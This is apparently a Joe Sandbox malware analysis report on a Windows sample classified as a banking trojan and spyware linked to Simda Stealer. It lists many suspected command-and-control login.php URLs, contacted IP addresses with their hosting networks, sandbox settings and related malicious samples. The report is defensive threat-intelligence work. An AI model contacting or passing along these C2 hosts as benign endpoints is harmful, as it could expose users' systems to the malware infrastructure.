svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2764486074.00000000086F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qexylup.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qexyhuv.com/login.phpsvchost.exe, 00000002.00000003.2519569091.00000000087DE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246166456.00000000086D1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2280606997.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2281429661.000000000861B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279138625.00000000086D4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pumybuq.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pufymyg.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pupyteg.com/login.phpsvchost.exe, 00000002.00000003.2385477507.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lymylij.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607736058.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610102916.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2604615321.0000000008783000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qedyfog.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pufylul.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vojybef.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ganycuh.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          World Map of Contacted IPs

                                                                                                                                                                                                          • No. of IPs < 25%
                                                                                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                                                                                          • 75% < No. of IPs

                                                                                                                                                                                                          Public IPs

                                                                                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                          3.94.10.34
                                                                                                                                                                                                          		lygynud.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          106.15.232.163
                                                                                                                                                                                                          		unknownChina
                                                                                                                                                                                                          		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdtrue
                                                                                                                                                                                                          64.190.63.136
                                                                                                                                                                                                          		www.sedoparking.comUnited States
                                                                                                                                                                                                          		11696NBS11696USfalse
                                                                                                                                                                                                          72.52.179.174
                                                                                                                                                                                                          		pltraffic7.comUnited States
                                                                                                                                                                                                          		32244LIQUIDWEBUSfalse
                                                                                                                                                                                                          154.85.183.50
                                                                                                                                                                                                          		qegyval.comSeychelles
                                                                                                                                                                                                          		134548DXTL-HKDXTLTseungKwanOServiceHKtrue
                                                                                                                                                                                                          64.225.91.73
                                                                                                                                                                                                          		galynuh.comUnited States
                                                                                                                                                                                                          		14061DIGITALOCEAN-ASNUStrue
                                                                                                                                                                                                          5.79.71.205
                                                                                                                                                                                                          		unknownNetherlands
                                                                                                                                                                                                          		60781LEASEWEB-NL-AMS-01NetherlandsNLtrue
                                                                                                                                                                                                          99.83.170.3
                                                                                                                                                                                                          		puzylyp.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          52.34.198.229
                                                                                                                                                                                                          		lygyvuj.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          75.2.71.199
                                                                                                                                                                                                          		unknownUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          103.150.10.48
                                                                                                                                                                                                          		gtm-sg-6l13ukk0m05.qu200.comunknown
                                                                                                                                                                                                          		59253LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSGtrue
                                                                                                                                                                                                          23.253.46.64
                                                                                                                                                                                                          		gahyqah.comUnited States
                                                                                                                                                                                                          		19994RACKSPACEUStrue
                                                                                                                                                                                                          199.191.50.83
                                                                                                                                                                                                          		galyqaz.comVirgin Islands (BRITISH)
                                                                                                                                                                                                          		40034CONFLUENCE-NETWORK-INCVGtrue
                                                                                                                                                                                                          13.248.169.48
                                                                                                                                                                                                          		pupydeq.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          103.224.212.210
                                                                                                                                                                                                          		lyxynyx.comAustralia
                                                                                                                                                                                                          		133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                                                                                                                          76.223.67.189
                                                                                                                                                                                                          		qexyhuv.comUnited States
                                                                                                                                                                                                          		16509AMAZON-02UStrue
                                                                                                                                                                                                          18.208.156.248
                                                                                                                                                                                                          		pupycag.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          208.100.26.245
                                                                                                                                                                                                          		lyvyxor.comUnited States
                                                                                                                                                                                                          		32748STEADFASTUStrue
                                                                                                                                                                                                          199.59.243.227
                                                                                                                                                                                                          		77026.bodis.comUnited States
                                                                                                                                                                                                          		395082BODIS-NJUSfalse
                                                                                                                                                                                                          103.224.182.252
                                                                                                                                                                                                          		vofycot.comAustralia
                                                                                                                                                                                                          		133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                                                                                                                          91.195.240.19
                                                                                                                                                                                                          		parkingpage.namecheap.comGermany
                                                                                                                                                                                                          		47846SEDO-ASDEfalse
                                                                                                                                                                                                          85.17.31.82
                                                                                                                                                                                                          		gatyfus.comNetherlands
                                                                                                                                                                                                          		60781LEASEWEB-NL-AMS-01NetherlandsNLtrue
                                                                                                                                                                                                          162.255.119.102
                                                                                                                                                                                                          		unknownUnited States
                                                                                                                                                                                                          		22612NAMECHEAP-NETUStrue
                                                                                                                                                                                                          188.114.97.3
                                                                                                                                                                                                          		unknownEuropean Union
                                                                                                                                                                                                          		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                          44.221.84.105
                                                                                                                                                                                                          		gadyciz.comUnited States
                                                                                                                                                                                                          		14618AMAZON-AESUStrue
                                                                                                                                                                                                          154.212.231.82
                                                                                                                                                                                                          		gadyniw.comSeychelles
                                                                                                                                                                                                          		133201COMING-ASABCDEGROUPCOMPANYLIMITEDHKtrue
                                                                                                                                                                                                          188.114.96.3
                                                                                                                                                                                                          		lysyvan.comEuropean Union
                                                                                                                                                                                                          		13335CLOUDFLARENETUStrue

                                                                                                                                                                                                          General Information

                                                                                                                                                                                                          Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                          Analysis ID:1553809
                                                                                                                                                                                                          Start date and time:2024-11-11 18:12:06 +01:00
                                                                                                                                                                                                          Joe Sandbox product:CloudBasic
                                                                                                                                                                                                          Overall analysis duration:0h 10m 14s
                                                                                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                                                                                          Report type:full
                                                                                                                                                                                                          Cookbook file name:default.jbs
                                                                                                                                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                          Number of analysed new started processes analysed:28
                                                                                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                                                                                          Number of injected processes analysed:12
                                                                                                                                                                                                          Technologies:
                                                                                                                                                                                                          • HCA enabled
                                                                                                                                                                                                          • EGA enabled
                                                                                                                                                                                                          • AMSI enabled
                                                                                                                                                                                                          Analysis Mode:default
                                                                                                                                                                                                          Analysis stop reason:Timeout
                                                                                                                                                                                                          Sample name:Bpfz752pYZ.exe
                                                                                                                                                                                                          renamed because original name is a hash value
                                                                                                                                                                                                          Original Sample Name:5de240159b639483fb3674e6289e946e7c304293.exe
                                                                                                                                                                                                          Detection:MAL
                                                                                                                                                                                                          Classification:mal100.bank.troj.spyw.expl.evad.winEXE@13/67@2302/27
                                                                                                                                                                                                          EGA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          HCA Information:
                                                                                                                                                                                                          • Successful, ratio: 99%
                                                                                                                                                                                                          • Number of executed functions: 117
                                                                                                                                                                                                          • Number of non-executed functions: 211
                                                                                                                                                                                                          Cookbook Comments:
                                                                                                                                                                                                          • Found application associated with file extension: .exe

                                                                                                                                                                                                          Warnings

                                                                                                                                                                                                          • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                                                                                                                                                          • Excluded IPs from analysis (whitelisted): 2.23.209.130, 2.23.209.185, 2.23.209.182, 2.23.209.187, 2.23.209.137, 2.23.209.135, 2.23.209.179, 2.23.209.189, 2.23.209.133, 2.23.209.154, 2.23.209.140, 2.23.209.176, 2.23.209.144, 2.23.209.150, 2.23.209.158, 2.23.209.156, 2.23.209.149, 20.42.65.92, 20.42.73.29, 2.23.209.141, 2.23.209.177, 2.23.209.183, 52.168.117.173
                                                                                                                                                                                                          • Excluded domains from analysis (whitelisted): www.bing.com, onedsblobprdeus16.eastus.cloudapp.azure.com, client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com
                                                                                                                                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                          • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                          • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                          • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                          • VT rate limit hit for: Bpfz752pYZ.exe

                                                                                                                                                                                                          Simulations

                                                                                                                                                                                                          Behavior and APIs

                                                                                                                                                                                                          TimeTypeDescription
                                                                                                                                                                                                          12:13:39API Interceptor10x Sleep call for process: WerFault.exe modified
                                                                                                                                                                                                          12:13:56API Interceptor767222x Sleep call for process: svchost.exe modified

                                                                                                                                                                                                          Joe Sandbox View / Context

                                                                                                                                                                                                          IPs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          3.94.10.34uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • lymyxid.com/login.php
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • lymyxid.com/login.php
                                                                                                                                                                                                          AENiBH7X1q.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                          • ctdtgwag.biz/wikoehfueo
                                                                                                                                                                                                          E_dekont.cmdGet hashmaliciousDBatLoader, Nitol, PureLog Stealer, XWormBrowse
                                                                                                                                                                                                          • ctdtgwag.biz/xyrpanl
                                                                                                                                                                                                          Y2EM7suNV5.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                                                          • gvijgjwkh.biz/maxlthgls
                                                                                                                                                                                                          AsusSetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ypituyqsq.biz/grbkwbsae
                                                                                                                                                                                                          SetupRST.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ctdtgwag.biz/dpaslnrfmhydrsi
                                                                                                                                                                                                          AsusSetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ctdtgwag.biz/dpop
                                                                                                                                                                                                          RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                          • gvijgjwkh.biz/unx
                                                                                                                                                                                                          PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                          • gvijgjwkh.biz/lwgexo
                                                                                                                                                                                                          106.15.232.163uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 106.15.232.163:8000/dh/147287063_134827.html
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 106.15.232.163:8000/dh/147287063_472994.html
                                                                                                                                                                                                          64.190.63.136uavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20241112-0408-09d4-8f1c-1de8890559b5
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20241112-0352-0187-b8de-fd2bfab34f87
                                                                                                                                                                                                          http://afilias-grs.netGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.afilias-grs.net/search/tsc.php?ses=ogcIVruNZX5wQoGiwEz0Cq5PlN8zbbyp9Yq8dJFsn9poLX66IqkUhYVtAoJVb1AVRMXAtM65AaycMcjRMYAhdanh4H9VedEkUUDj7sc72cCMrn4Aq1jlr5Cf3Gyi37eSFszvqR2Z1jp_ezLSbToMVTMtkjDzo_LiuICxKqxU1ViilTwANTlr5WASZHBeFyN9K17m6E3E5ah97JIYIlDvt1EGmzUgNAGCXUTJBPD90zmFYlGgcsrWr9x5sRfW2BLGGMk8_iHKL0K_Iui8SV31UmfqbTFkZA14T8LZNQ7C4KUa_tBEFu-HS0j_I6Y4wh0p5m1bWRgdCQ_T3rEK468UUMrsAoUYxdvCJFLI5qVszq4s5qkp2l0O3xrQTkw&cv=2
                                                                                                                                                                                                          OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20240908-1854-132f-8c2f-134916a1e9d0
                                                                                                                                                                                                          5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20240908-1700-25c9-bc2e-507729a41b57
                                                                                                                                                                                                          uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20240908-0453-259e-befa-1cc84c51963f
                                                                                                                                                                                                          Bonelessness.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20240824-0248-364a-9808-e6df4ec839e7
                                                                                                                                                                                                          roundwood.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60
                                                                                                                                                                                                          http://efense.com/v3/__https:/www.duke-energy.com/find-it-duke__%3B!!No0KQ4w!udAqG0Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • sedoparking.com/frmpark/efense.com/Skenzor1/park.js
                                                                                                                                                                                                          http://leostop.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • ww1.leostop.com/search/tsc.php?200=NTkyMjkyNTEx&21=OC40Ni4xMjMuMzM=&681=MTcyMTk2Nzk4MTgxODg2ZmRhZDJjNzU3NTZlMTc0NmFkMjA5N2NhNTYx&crc=688a5d6af653e3a6b7501c60b740173e6added63&cv=1

                                                                                                                                                                                                          Domains

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          pupycag.comuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          Bonelessness.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          roundwood.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 18.208.156.248
                                                                                                                                                                                                          spug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 34.174.78.212
                                                                                                                                                                                                          10627546311.zipGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 199.21.76.77
                                                                                                                                                                                                          pupydeq.comuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          Bonelessness.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          roundwood.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          spug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          aAP32K91Qx.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          lyvyxor.comuavINoSIQh.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          7DAKMhINGk.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          OjKmJJm2YT.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          5AFlyarMds.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          uB31aJH4M0.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          M62eQtS9qP.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          Bonelessness.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          roundwood.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          spug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          kz2xIsjyEH.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245

                                                                                                                                                                                                          ASNs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
